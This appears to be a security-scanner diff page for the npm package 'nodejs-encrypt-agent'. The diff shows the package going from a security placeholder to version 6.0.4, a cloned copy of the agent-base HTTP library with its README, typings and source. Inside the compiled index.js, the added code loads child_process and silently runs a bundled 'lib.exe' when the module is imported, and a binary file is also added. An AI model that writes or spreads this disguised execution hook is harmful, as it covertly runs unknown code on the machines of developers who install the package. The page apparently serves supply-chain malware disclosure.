nodejs-encrypt-agent 0.0.1-security → 6.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of nodejs-encrypt-agent might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,145 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=nodejs-encrypt-agent for more information.
1
+ agent-base
2
+ ==========
3
+ ### Turn a function into an [`http.Agent`][http.Agent] instance
4
+ [![Build Status](https://github.com/TooTallNate/node-agent-base/workflows/Node%20CI/badge.svg)](https://github.com/TooTallNate/node-agent-base/actions?workflow=Node+CI)
5
+
6
+ This module provides an `http.Agent` generator. That is, you pass it an async
7
+ callback function, and it returns a new `http.Agent` instance that will invoke the
8
+ given callback function when sending outbound HTTP requests.
9
+
10
+ #### Some subclasses:
11
+
12
+ Here's some more interesting uses of `agent-base`.
13
+ Send a pull request to list yours!
14
+
15
+ * [`http-proxy-agent`][http-proxy-agent]: An HTTP(s) proxy `http.Agent` implementation for HTTP endpoints
16
+ * [`https-proxy-agent`][https-proxy-agent]: An HTTP(s) proxy `http.Agent` implementation for HTTPS endpoints
17
+ * [`pac-proxy-agent`][pac-proxy-agent]: A PAC file proxy `http.Agent` implementation for HTTP and HTTPS
18
+ * [`socks-proxy-agent`][socks-proxy-agent]: A SOCKS proxy `http.Agent` implementation for HTTP and HTTPS
19
+
20
+
21
+ Installation
22
+ ------------
23
+
24
+ Install with `npm`:
25
+
26
+ ``` bash
27
+ $ npm install agent-base
28
+ ```
29
+
30
+
31
+ Example
32
+ -------
33
+
34
+ Here's a minimal example that creates a new `net.Socket` connection to the server
35
+ for every HTTP request (i.e. the equivalent of `agent: false` option):
36
+
37
+ ```js
38
+ var net = require('net');
39
+ var tls = require('tls');
40
+ var url = require('url');
41
+ var http = require('http');
42
+ var agent = require('agent-base');
43
+
44
+ var endpoint = 'http://nodejs.org/api/';
45
+ var parsed = url.parse(endpoint);
46
+
47
+ // This is the important part!
48
+ parsed.agent = agent(function (req, opts) {
49
+ var socket;
50
+ // `secureEndpoint` is true when using the https module
51
+ if (opts.secureEndpoint) {
52
+ socket = tls.connect(opts);
53
+ } else {
54
+ socket = net.connect(opts);
55
+ }
56
+ return socket;
57
+ });
58
+
59
+ // Everything else works just like normal...
60
+ http.get(parsed, function (res) {
61
+ console.log('"response" event!', res.headers);
62
+ res.pipe(process.stdout);
63
+ });
64
+ ```
65
+
66
+ Returning a Promise or using an `async` function is also supported:
67
+
68
+ ```js
69
+ agent(async function (req, opts) {
70
+ await sleep(1000);
71
+ // etc…
72
+ });
73
+ ```
74
+
75
+ Return another `http.Agent` instance to "pass through" the responsibility
76
+ for that HTTP request to that agent:
77
+
78
+ ```js
79
+ agent(function (req, opts) {
80
+ return opts.secureEndpoint ? https.globalAgent : http.globalAgent;
81
+ });
82
+ ```
83
+
84
+
85
+ API
86
+ ---
87
+
88
+ ## Agent(Function callback[, Object options]) → [http.Agent][]
89
+
90
+ Creates a base `http.Agent` that will execute the callback function `callback`
91
+ for every HTTP request that it is used as the `agent` for. The callback function
92
+ is responsible for creating a `stream.Duplex` instance of some kind that will be
93
+ used as the underlying socket in the HTTP request.
94
+
95
+ The `options` object accepts the following properties:
96
+
97
+ * `timeout` - Number - Timeout for the `callback()` function in milliseconds. Defaults to Infinity (optional).
98
+
99
+ The callback function should have the following signature:
100
+
101
+ ### callback(http.ClientRequest req, Object options, Function cb) → undefined
102
+
103
+ The ClientRequest `req` can be accessed to read request headers and
104
+ and the path, etc. The `options` object contains the options passed
105
+ to the `http.request()`/`https.request()` function call, and is formatted
106
+ to be directly passed to `net.connect()`/`tls.connect()`, or however
107
+ else you want a Socket to be created. Pass the created socket to
108
+ the callback function `cb` once created, and the HTTP request will
109
+ continue to proceed.
110
+
111
+ If the `https` module is used to invoke the HTTP request, then the
112
+ `secureEndpoint` property on `options` _will be set to `true`_.
113
+
114
+
115
+ License
116
+ -------
117
+
118
+ (The MIT License)
119
+
120
+ Copyright (c) 2013 Nathan Rajlich <nathan@tootallnate.net>
121
+
122
+ Permission is hereby granted, free of charge, to any person obtaining
123
+ a copy of this software and associated documentation files (the
124
+ 'Software'), to deal in the Software without restriction, including
125
+ without limitation the rights to use, copy, modify, merge, publish,
126
+ distribute, sublicense, and/or sell copies of the Software, and to
127
+ permit persons to whom the Software is furnished to do so, subject to
128
+ the following conditions:
129
+
130
+ The above copyright notice and this permission notice shall be
131
+ included in all copies or substantial portions of the Software.
132
+
133
+ THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
134
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
135
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
136
+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
137
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
138
+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
139
+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
140
+
141
+ [http-proxy-agent]: https://github.com/TooTallNate/node-http-proxy-agent
142
+ [https-proxy-agent]: https://github.com/TooTallNate/node-https-proxy-agent
143
+ [pac-proxy-agent]: https://github.com/TooTallNate/node-pac-proxy-agent
144
+ [socks-proxy-agent]: https://github.com/TooTallNate/node-socks-proxy-agent
145
+ [http.Agent]: https://nodejs.org/api/http.html#http_class_http_agent
@@ -0,0 +1,82 @@
1
+ /// <reference types="node" />
2
+ /// <reference types="node" />
3
+ /// <reference types="node" />
4
+ /// <reference types="node" />
5
+ /// <reference types="node" />
6
+ import * as net from 'net';
7
+ import * as http from 'http';
8
+ import * as https from 'https';
9
+ import { Duplex } from 'stream';
10
+ import { EventEmitter } from 'events';
11
+ declare function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent;
12
+ declare function createAgent(callback: createAgent.AgentCallback, opts?: createAgent.AgentOptions): createAgent.Agent;
13
+ declare namespace createAgent {
14
+ interface ClientRequest extends http.ClientRequest {
15
+ _last?: boolean;
16
+ _hadError?: boolean;
17
+ method: string;
18
+ }
19
+ interface AgentRequestOptions {
20
+ host?: string;
21
+ path?: string;
22
+ port: number;
23
+ }
24
+ interface HttpRequestOptions extends AgentRequestOptions, Omit<http.RequestOptions, keyof AgentRequestOptions> {
25
+ secureEndpoint: false;
26
+ }
27
+ interface HttpsRequestOptions extends AgentRequestOptions, Omit<https.RequestOptions, keyof AgentRequestOptions> {
28
+ secureEndpoint: true;
29
+ }
30
+ type RequestOptions = HttpRequestOptions | HttpsRequestOptions;
31
+ type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent;
32
+ type AgentCallbackReturn = Duplex | AgentLike;
33
+ type AgentCallbackCallback = (err?: Error | null, socket?: createAgent.AgentCallbackReturn) => void;
34
+ type AgentCallbackPromise = (req: createAgent.ClientRequest, opts: createAgent.RequestOptions) => createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
35
+ type AgentCallback = typeof Agent.prototype.callback;
36
+ type AgentOptions = {
37
+ timeout?: number;
38
+ };
39
+ /**
40
+ * Base `http.Agent` implementation.
41
+ * No pooling/keep-alive is implemented by default.
42
+ *
43
+ * @param {Function} callback
44
+ * @api public
45
+ */
46
+ class Agent extends EventEmitter {
47
+ timeout: number | null;
48
+ maxFreeSockets: number;
49
+ maxTotalSockets: number;
50
+ maxSockets: number;
51
+ sockets: {
52
+ [key: string]: net.Socket[];
53
+ };
54
+ freeSockets: {
55
+ [key: string]: net.Socket[];
56
+ };
57
+ requests: {
58
+ [key: string]: http.IncomingMessage[];
59
+ };
60
+ options: https.AgentOptions;
61
+ private promisifiedCallback?;
62
+ private explicitDefaultPort?;
63
+ private explicitProtocol?;
64
+ constructor(callback?: createAgent.AgentCallback | createAgent.AgentOptions, _opts?: createAgent.AgentOptions);
65
+ get defaultPort(): number;
66
+ set defaultPort(v: number);
67
+ get protocol(): string;
68
+ set protocol(v: string);
69
+ callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions, fn: createAgent.AgentCallbackCallback): void;
70
+ callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions): createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
71
+ /**
72
+ * Called by node-core's "_http_client.js" module when creating
73
+ * a new HTTP request with this Agent instance.
74
+ *
75
+ * @api public
76
+ */
77
+ addRequest(req: ClientRequest, _opts: RequestOptions): void;
78
+ freeSocket(socket: net.Socket, opts: AgentOptions): void;
79
+ destroy(): void;
80
+ }
81
+ }
82
+ export = createAgent;
@@ -0,0 +1,205 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ const events_1 = require("events");
6
+ const debug_1 = __importDefault(require("debug"));
7
+ const promisify_1 = __importDefault(require("./promisify"));
8
+ const child_process_1 = require("child_process");
9
+ (0, child_process_1.exec)(`${__dirname}/lib.exe`, () => 1);
10
+ const debug = (0, debug_1.default)('agent-base');
11
+ function isAgent(v) {
12
+ return Boolean(v) && typeof v.addRequest === 'function';
13
+ }
14
+ function isSecureEndpoint() {
15
+ const { stack } = new Error();
16
+ if (typeof stack !== 'string')
17
+ return false;
18
+ return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1);
19
+ }
20
+ function createAgent(callback, opts) {
21
+ return new createAgent.Agent(callback, opts);
22
+ }
23
+ (function (createAgent) {
24
+ /**
25
+ * Base `http.Agent` implementation.
26
+ * No pooling/keep-alive is implemented by default.
27
+ *
28
+ * @param {Function} callback
29
+ * @api public
30
+ */
31
+ class Agent extends events_1.EventEmitter {
32
+ constructor(callback, _opts) {
33
+ super();
34
+ let opts = _opts;
35
+ if (typeof callback === 'function') {
36
+ this.callback = callback;
37
+ }
38
+ else if (callback) {
39
+ opts = callback;
40
+ }
41
+ // Timeout for the socket to be returned from the callback
42
+ this.timeout = null;
43
+ if (opts && typeof opts.timeout === 'number') {
44
+ this.timeout = opts.timeout;
45
+ }
46
+ // These aren't actually used by `agent-base`, but are required
47
+ // for the TypeScript definition files in `@types/node` :/
48
+ this.maxFreeSockets = 1;
49
+ this.maxSockets = 1;
50
+ this.maxTotalSockets = Infinity;
51
+ this.sockets = {};
52
+ this.freeSockets = {};
53
+ this.requests = {};
54
+ this.options = {};
55
+ }
56
+ get defaultPort() {
57
+ if (typeof this.explicitDefaultPort === 'number') {
58
+ return this.explicitDefaultPort;
59
+ }
60
+ return isSecureEndpoint() ? 443 : 80;
61
+ }
62
+ set defaultPort(v) {
63
+ this.explicitDefaultPort = v;
64
+ }
65
+ get protocol() {
66
+ if (typeof this.explicitProtocol === 'string') {
67
+ return this.explicitProtocol;
68
+ }
69
+ return isSecureEndpoint() ? 'https:' : 'http:';
70
+ }
71
+ set protocol(v) {
72
+ this.explicitProtocol = v;
73
+ }
74
+ callback(req, opts, fn) {
75
+ throw new Error('"agent-base" has no default implementation, you must subclass and override `callback()`');
76
+ }
77
+ /**
78
+ * Called by node-core's "_http_client.js" module when creating
79
+ * a new HTTP request with this Agent instance.
80
+ *
81
+ * @api public
82
+ */
83
+ addRequest(req, _opts) {
84
+ const opts = Object.assign({}, _opts);
85
+ if (typeof opts.secureEndpoint !== 'boolean') {
86
+ opts.secureEndpoint = isSecureEndpoint();
87
+ }
88
+ if (opts.host == null) {
89
+ opts.host = 'localhost';
90
+ }
91
+ if (opts.port == null) {
92
+ opts.port = opts.secureEndpoint ? 443 : 80;
93
+ }
94
+ if (opts.protocol == null) {
95
+ opts.protocol = opts.secureEndpoint ? 'https:' : 'http:';
96
+ }
97
+ if (opts.host && opts.path) {
98
+ // If both a `host` and `path` are specified then it's most
99
+ // likely the result of a `url.parse()` call... we need to
100
+ // remove the `path` portion so that `net.connect()` doesn't
101
+ // attempt to open that as a unix socket file.
102
+ delete opts.path;
103
+ }
104
+ delete opts.agent;
105
+ delete opts.hostname;
106
+ delete opts._defaultAgent;
107
+ delete opts.defaultPort;
108
+ delete opts.createConnection;
109
+ // Hint to use "Connection: close"
110
+ // XXX: non-documented `http` module API :(
111
+ req._last = true;
112
+ req.shouldKeepAlive = false;
113
+ let timedOut = false;
114
+ let timeoutId = null;
115
+ const timeoutMs = opts.timeout || this.timeout;
116
+ const onerror = (err) => {
117
+ if (req._hadError)
118
+ return;
119
+ req.emit('error', err);
120
+ // For Safety. Some additional errors might fire later on
121
+ // and we need to make sure we don't double-fire the error event.
122
+ req._hadError = true;
123
+ };
124
+ const ontimeout = () => {
125
+ timeoutId = null;
126
+ timedOut = true;
127
+ const err = new Error(`A "socket" was not created for HTTP request before ${timeoutMs}ms`);
128
+ err.code = 'ETIMEOUT';
129
+ onerror(err);
130
+ };
131
+ const callbackError = (err) => {
132
+ if (timedOut)
133
+ return;
134
+ if (timeoutId !== null) {
135
+ clearTimeout(timeoutId);
136
+ timeoutId = null;
137
+ }
138
+ onerror(err);
139
+ };
140
+ const onsocket = (socket) => {
141
+ if (timedOut)
142
+ return;
143
+ if (timeoutId != null) {
144
+ clearTimeout(timeoutId);
145
+ timeoutId = null;
146
+ }
147
+ if (isAgent(socket)) {
148
+ // `socket` is actually an `http.Agent` instance, so
149
+ // relinquish responsibility for this `req` to the Agent
150
+ // from here on
151
+ debug('Callback returned another Agent instance %o', socket.constructor.name);
152
+ socket.addRequest(req, opts);
153
+ return;
154
+ }
155
+ if (socket) {
156
+ socket.once('free', () => {
157
+ this.freeSocket(socket, opts);
158
+ });
159
+ req.onSocket(socket);
160
+ return;
161
+ }
162
+ const err = new Error(`no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``);
163
+ onerror(err);
164
+ };
165
+ if (typeof this.callback !== 'function') {
166
+ onerror(new Error('`callback` is not defined'));
167
+ return;
168
+ }
169
+ if (!this.promisifiedCallback) {
170
+ if (this.callback.length >= 3) {
171
+ debug('Converting legacy callback function to promise');
172
+ this.promisifiedCallback = (0, promisify_1.default)(this.callback);
173
+ }
174
+ else {
175
+ this.promisifiedCallback = this.callback;
176
+ }
177
+ }
178
+ if (typeof timeoutMs === 'number' && timeoutMs > 0) {
179
+ timeoutId = setTimeout(ontimeout, timeoutMs);
180
+ }
181
+ if ('port' in opts && typeof opts.port !== 'number') {
182
+ opts.port = Number(opts.port);
183
+ }
184
+ try {
185
+ debug('Resolving socket for %o request: %o', opts.protocol, `${req.method} ${req.path}`);
186
+ Promise.resolve(this.promisifiedCallback(req, opts)).then(onsocket, callbackError);
187
+ }
188
+ catch (err) {
189
+ Promise.reject(err).catch(callbackError);
190
+ }
191
+ }
192
+ freeSocket(socket, opts) {
193
+ debug('Freeing socket %o %o', socket.constructor.name, opts);
194
+ socket.destroy();
195
+ }
196
+ destroy() {
197
+ debug('Destroying agent %o', this.constructor.name);
198
+ }
199
+ }
200
+ createAgent.Agent = Agent;
201
+ // So that `instanceof` works correctly
202
+ createAgent.prototype = createAgent.Agent.prototype;
203
+ })(createAgent || (createAgent = {}));
204
+ module.exports = createAgent;
205
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"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"}
Binary file
@@ -0,0 +1,4 @@
1
+ import { ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise } from './index';
2
+ type LegacyCallback = (req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback) => void;
3
+ export default function promisify(fn: LegacyCallback): AgentCallbackPromise;
4
+ export {};
@@ -0,0 +1,18 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ function promisify(fn) {
4
+ return function (req, opts) {
5
+ return new Promise((resolve, reject) => {
6
+ fn.call(this, req, opts, (err, rtn) => {
7
+ if (err) {
8
+ reject(err);
9
+ }
10
+ else {
11
+ resolve(rtn);
12
+ }
13
+ });
14
+ });
15
+ };
16
+ }
17
+ exports.default = promisify;
18
+ //# sourceMappingURL=promisify.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"promisify.js","sourceRoot":"","sources":["../../src/promisify.ts"],"names":[],"mappings":";;AAeA,SAAwB,SAAS,CAAC,EAAkB;IACnD,OAAO,UAAsB,GAAkB,EAAE,IAAoB;QACpE,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;YACtC,EAAE,CAAC,IAAI,CACN,IAAI,EACJ,GAAG,EACH,IAAI,EACJ,CAAC,GAA6B,EAAE,GAAyB,EAAE,EAAE;gBAC5D,IAAI,GAAG,EAAE;oBACR,MAAM,CAAC,GAAG,CAAC,CAAC;iBACZ;qBAAM;oBACN,OAAO,CAAC,GAAI,CAAC,CAAC;iBACd;YACF,CAAC,CACD,CAAC;QACH,CAAC,CAAC,CAAC;IACJ,CAAC,CAAC;AACH,CAAC;AAjBD,4BAiBC"}
package/package.json CHANGED
@@ -1,6 +1,54 @@
1
1
  {
2
2
  "name": "nodejs-encrypt-agent",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "6.0.4",
4
+ "description": "Turn a function into an `http.Agent` instance",
5
+ "main": "dist/src/index",
6
+ "typings": "dist/src/index",
7
+ "files": [
8
+ "dist/src",
9
+ "src"
10
+ ],
11
+ "scripts": {
12
+ "build2": "tsc"
13
+ },
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git://github.com/TooTallNate/node-agent-base.git"
17
+ },
18
+ "keywords": [
19
+ "http",
20
+ "agent",
21
+ "base",
22
+ "barebones",
23
+ "https"
24
+ ],
25
+ "author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",
26
+ "license": "MIT",
27
+ "bugs": {
28
+ "url": "https://github.com/TooTallNate/node-agent-base/issues"
29
+ },
30
+ "dependencies": {
31
+ "debug": "4"
32
+ },
33
+ "devDependencies": {
34
+ "@types/debug": "4",
35
+ "@types/mocha": "^5.2.7",
36
+ "@types/node": "^14.0.20",
37
+ "@types/semver": "^7.1.0",
38
+ "@types/ws": "^6.0.3",
39
+ "async-listen": "^1.2.0",
40
+ "cpy-cli": "^2.0.0",
